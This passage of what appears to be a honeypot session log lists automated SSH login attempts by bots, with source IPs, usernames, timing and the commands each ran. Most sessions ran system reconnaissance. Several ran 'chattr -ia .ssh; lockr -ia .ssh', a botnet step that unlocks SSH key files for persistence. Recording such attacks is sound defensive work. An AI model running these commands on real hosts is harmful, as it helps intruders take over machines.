  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:04.934377+00:00",
  "ended_at": "2026-08-26T06:45:09.675363+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f1c9eba0-b2e3-4951-91bf-ffbfe98e745a",
  "name": "reedy-eager-camel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 53192,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:58.728114+00:00",
  "ended_at": "2026-08-26T06:45:00.777796+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1254b906-027b-4328-9020-e7c413c61dd7",
  "name": "sleepy-blithe-weasel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "193.46.255.86",
  "src_port": 34524,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.84",
  "auth_attempts": 2,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:57.078083+00:00",
  "ended_at": "2026-08-26T06:44:59.388597+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ab15fb91-33cb-429a-941d-00602f8b735c",
  "name": "dapper-lunar-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41708,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:56.259852+00:00",
  "ended_at": "2026-08-26T06:45:01.428267+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5c220ba3-5fa1-424e-89fb-955036535494",
  "name": "rapid-sincere-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50062,
  "username": "centos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:55.155227+00:00",
  "ended_at": "2026-08-26T06:45:00.776012+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "6c8ea05e-9245-4e6c-818e-21a07f615ff0",
  "name": "wandering-russet-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59422,
  "username": "edge",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 195,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:49.099538+00:00",
  "ended_at": "2026-08-26T06:44:52.467602+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "cd30b8fa-0b7b-4a77-bc06-0debc061116a",
  "name": "reedy-dutiful-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50000,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:48.415618+00:00",
  "ended_at": "2026-08-26T06:44:52.759757+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2c73c92c-5551-4298-ac49-9b219f33e5f9",
  "name": "polar-leafy-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "171.25.158.74",
  "src_port": 33096,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 360,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T06:44:45.650054+00:00",
  "ended_at": "2026-08-26T06:44:46.349201+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2038
 },
 {
  "id": "f0900638-e8f0-4234-ab48-55663f2aedda",
  "name": "polar-kindly-francolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.74",
  "src_port": 33120,
  "username": "crafty",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:36.750326+00:00",
  "ended_at": "2026-08-26T06:44:38.571118+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "06f017d2-bce2-4cac-8c7d-3d9c4e732cad",
  "name": "bitter-slender-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "171.25.158.74",
  "src_port": 33112,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:34.505371+00:00",
  "ended_at": "2026-08-26T06:44:36.051989+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4cd9b10-5b79-4ad2-9a2b-679d79679c94",
  "name": "canny-quiet-serval",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59476,
  "username": "pi",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:32.201295+00:00",
  "ended_at": "2026-08-26T06:44:35.041591+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0b0b9821-0467-4ba9-85be-e9b1cc6d62ec",
  "name": "brave-salty-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56494,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:29.321449+00:00",
  "ended_at": "2026-08-26T06:44:33.689052+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e0c1fe1c-7c72-499c-8906-3a44a39aff68",
  "name": "dewy-eager-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:19.788046+00:00",
  "ended_at": "2026-08-26T06:44:23.110104+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "21b4c77b-7ce5-4a1d-9fb5-3cbdf4068cb9",
  "name": "windswept-thorny-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54984,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:15.433269+00:00",
  "ended_at": "2026-08-26T06:44:19.613235+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "937901bb-22db-4bdc-8429-a9c8dbb4dd58",
  "name": "civil-drifting-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.144.28.166",
  "src_port": 57790,
  "username": "rustserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 676,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T06:44:12.693862+00:00",
  "ended_at": "2026-08-26T06:44:13.399402+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2044
 },
 {
  "id": "ab1b0f6e-bd5b-432f-ba1c-325fdda19447",
  "name": "subtle-gleaming-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39342,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:44:07.467077+00:00",
  "ended_at": "2026-08-26T06:44:11.514202+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a96c44c-6496-49c2-90ef-652bd9504ad8",
  "name": "dewy-upland-agouti",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.159.136.201",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:44:05.401613+00:00",
  "ended_at": "2026-08-26T06:59:52.964335+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9f9ccaaa-b7fb-4ea8-a863-a40dbf370713",
  "name": "bold-dappled-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.144.28.166",
  "src_port": 43450,
  "username": "rustserver",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:43:59.362303+00:00",
  "ended_at": "2026-08-26T06:44:00.459847+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e17e5573-e57c-49e6-b98d-2f541a452e75",
  "name": "vernal-dusty-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39302,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 233,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:58.904150+00:00",
  "ended_at": "2026-08-26T06:44:02.188828+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0be68a1e-6ae6-42f9-8e6b-e16815d3cf49",
  "name": "merry-faded-siskin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48888,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 172,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:57.280103+00:00",
  "ended_at": "2026-08-26T06:43:59.886209+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8436d19c-b3d2-468e-a7ee-566d553813ff",
  "name": "solemn-solar-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.144.28.166",
  "src_port": 57800,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:43:56.494681+00:00",
  "ended_at": "2026-08-26T06:43:58.004167+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "239104e9-24ba-4002-873c-f624f8c4cb91",
  "name": "twilight-serene-plover",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:52.778206+00:00",
  "ended_at": "2026-08-26T06:43:55.787947+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "34e82cf4-6bbe-4bd5-9bbe-92a8d7541c8c",
  "name": "sunlit-hearty-eagle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56714,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:50.646916+00:00",
  "ended_at": "2026-08-26T06:43:55.520640+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "44aec49a-08fa-4960-b573-a55e276cd7a8",
  "name": "placid-prairie-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34132,
  "username": "core",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:49.484703+00:00",
  "ended_at": "2026-08-26T06:43:55.044522+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "d277d22a-535a-49f9-a8f8-31aa8b4ea9e0",
  "name": "burly-gentle-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 56600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:46.376196+00:00",
  "ended_at": "2026-08-26T06:43:51.635031+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "dc84b97a-739a-48c1-af38-8f2eefceb927",
  "name": "calm-wry-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 56488,
  "username": "zlm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:43:35.611434+00:00",
  "ended_at": "2026-08-26T06:43:37.219716+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "686da857-1119-48a8-863d-edc6be63705c",
  "name": "fierce-foggy-redstart",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45090,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:33.354043+00:00",
  "ended_at": "2026-08-26T06:43:36.038756+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "264031fc-0741-4c74-bb5d-59f03fea54e5",
  "name": "honest-fearless-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 45026,
  "username": "zlm",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 203,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:31.820260+00:00",
  "ended_at": "2026-08-26T06:43:37.218639+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "11d665bc-7502-441c-a9bf-337a6907d81f",
  "name": "bashful-restless-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 47726,
  "username": "ivan",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:28.984590+00:00",
  "ended_at": "2026-08-26T06:43:34.250598+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "e0879117-1545-4bcb-ad93-536c3cba9568",
  "name": "woven-solemn-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 47692,
  "username": "ftpuser1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:24.460537+00:00",
  "ended_at": "2026-08-26T06:43:29.656220+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "8714f36d-0c25-4a52-8d79-756371e9e4ff",
  "name": "dapper-silent-dipper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34526,
  "username": "nexus",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:11.934322+00:00",
  "ended_at": "2026-08-26T06:43:16.123931+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "aa56ef87-0f7a-4a11-94da-e95a7a561e2e",
  "name": "alpine-hardy-bison",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 34430,
  "username": "user1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:43:10.152969+00:00",
  "ended_at": "2026-08-26T06:43:15.654270+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5d07bbf3-8d16-4ea4-add3-0deaf04d77f5",
  "name": "blunt-electric-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36770,
  "username": "nginx",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 193,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:55.060335+00:00",
  "ended_at": "2026-08-26T06:43:01.153652+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "35634f23-75f1-4b45-a357-44846d9730ab",
  "name": "creaky-noble-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40870,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:50.679590+00:00",
  "ended_at": "2026-08-26T06:42:53.700154+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e8601596-7ffb-498d-92db-4c8d378f5b28",
  "name": "steady-plucky-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43386,
  "username": "debian",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 204,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:47.927620+00:00",
  "ended_at": "2026-08-26T06:42:52.161279+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "65851e4a-997b-4eab-98c4-c3a1a337b999",
  "name": "granite-leafy-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40860,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 272,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:43.437586+00:00",
  "ended_at": "2026-08-26T06:42:49.300705+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "553dba11-da6b-43ce-8f1e-82da79fb3157",
  "name": "bold-blazing-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:34.665597+00:00",
  "ended_at": "2026-08-26T06:42:39.264659+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5eb59c3c-3a63-4699-b9ec-91287ea407e2",
  "name": "brave-crisp-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54196,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:22.941444+00:00",
  "ended_at": "2026-08-26T06:42:26.128503+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9dcecfe7-da05-4520-bfd5-62855e9d13c6",
  "name": "canny-lawful-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 34534,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:42:20.390725+00:00",
  "ended_at": "2026-08-26T06:42:22.516963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c4537840-975b-45c0-89a5-24daeb19e122",
  "name": "keen-northern-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 38186,
  "username": "bot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:19.389738+00:00",
  "ended_at": "2026-08-26T06:42:22.791058+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d381e9fa-87ad-4f3b-8a0f-e8d82155cbb2",
  "name": "regal-flinty-salmon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44858,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:16.140255+00:00",
  "ended_at": "2026-08-26T06:42:22.518126+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "52b6fa45-e79c-4a6f-8e8a-f912be1b24dd",
  "name": "civil-bronzed-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44912,
  "username": "gitlab",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 236,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:42:12.194536+00:00",
  "ended_at": "2026-08-26T06:42:14.816262+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7b78a39f-f0c3-41d0-bfd7-8cefa50d5c4b",
  "name": "western-hearty-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51512,
  "username": "webadmin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:59.260170+00:00",
  "ended_at": "2026-08-26T06:42:03.106635+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f7225710-6012-4769-a074-8e8eed3110b1",
  "name": "vaulted-subtle-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 51464,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 199,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:50.544728+00:00",
  "ended_at": "2026-08-26T06:41:55.571184+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8347bb93-352a-4472-b41f-675bf9d714fc",
  "name": "polar-lawful-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36292,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:44.839594+00:00",
  "ended_at": "2026-08-26T06:41:50.421484+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff39adc0-0b2c-4bd2-8750-31b86ec33302",
  "name": "thrifty-rugged-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36196,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 221,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:42.990167+00:00",
  "ended_at": "2026-08-26T06:41:48.695320+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "36dff1e5-78de-4679-9880-f0a2fd00c61f",
  "name": "regal-crimson-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 54264,
  "username": "mcserver",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:41:40.842564+00:00",
  "ended_at": "2026-08-26T06:41:42.875631+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1d93a56b-9271-4c54-9e91-4533b940aab7",
  "name": "thrifty-feathered-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58432,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:39.638099+00:00",
  "ended_at": "2026-08-26T06:41:43.690236+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "71a7a0e1-728c-4030-8d70-f1399f6ed914",
  "name": "ancient-downy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39500,
  "username": "test1",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:41:37.426410+00:00",
  "ended_at": "2026-08-26T06:41:40.447047+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "959893f0-47da-46d4-a430-3051f584958c",
  "name": "lanky-weathered-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 60036,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:41:36.786133+00:00",
  "ended_at": "2026-08-26T06:41:57.364165+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1412eb42-f7b2-45d6-b298-b660929e30a0",
  "name": "plush-burly-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36758,
